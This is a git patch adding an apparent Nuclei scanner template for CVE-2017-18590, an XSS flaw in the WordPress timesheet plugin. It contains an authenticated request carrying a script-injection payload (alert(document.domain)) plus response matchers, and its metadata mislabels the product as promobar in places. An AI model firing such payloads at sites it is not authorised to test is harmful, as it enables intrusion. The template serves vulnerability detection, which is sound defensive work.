From e5c58708a8108ef5141385fe2a43681e7701031c Mon Sep 17 00:00:00 2001 From: splint3r7 Date: Sat, 16 Nov 2024 21:58:16 +0500 Subject: [PATCH] CVE-2017-18590 --- http/cves/2017/CVE-2017-18590.yaml | 52 ++++++++++++++++++++++++++++++ 1 file changed, 52 insertions(+) create mode 100644 http/cves/2017/CVE-2017-18590.yaml diff --git a/http/cves/2017/CVE-2017-18590.yaml b/http/cves/2017/CVE-2017-18590.yaml new file mode 100644 index 00000000000..62475121807 --- /dev/null +++ b/http/cves/2017/CVE-2017-18590.yaml @@ -0,0 +1,52 @@ +id: CVE-2017-18590 + +info: + name: timesheet plugin before < 0.1.5 for WordPress Corss Site Scripting + author: Spling3r7 + severity: medium + description: | + The timesheet plugin before 0.1.5 for WordPress has multiple XSS issues. + reference: + - https://wpscan.com/vulnerability/efd816c3-90d4-40bf-850a-0e4c1a756694/ + - https://nvd.nist.gov/vuln/detail/CVE-2017-18590 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-18590 + - https://downloads.wordpress.org/plugin/timesheet + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2017-18590 + cwe-id: CWE-79 + epss-score: 0.00088 + epss-percentile: 0.3753 + cpe: cpe:2.3:a:bestwebsoft:promobar:*:*:*:*:*:wordpress:*:* + metadata: + verified: true + max-request: 3 + vendor: bestwebsoft + product: timesheet + framework: wordpress + tags: cve,cve2017,wordpress,wp-plugin,bws-promobar,wpscan,xss,authenticated,bestwebsoft,timesheet + +http: + - raw: + - | + POST /wp-login.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + log={{username}}&pwd={{password}}&wp-submit=Log+In + - | + GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1 + Host: {{Hostname}} + - | + GET /wp-content/plugins/timesheet/readme.txt HTTP/1.1 + Host: {{Hostname}} + + matchers: + - type: dsl + dsl: + - 'status_code_2 == 200' + - 'contains(header_2, "text/html")' + - 'contains(body_2, ">\">All")' + - 'contains(body_3, "Timesheet by BestWebSoft")' + condition: and \ No newline at end of file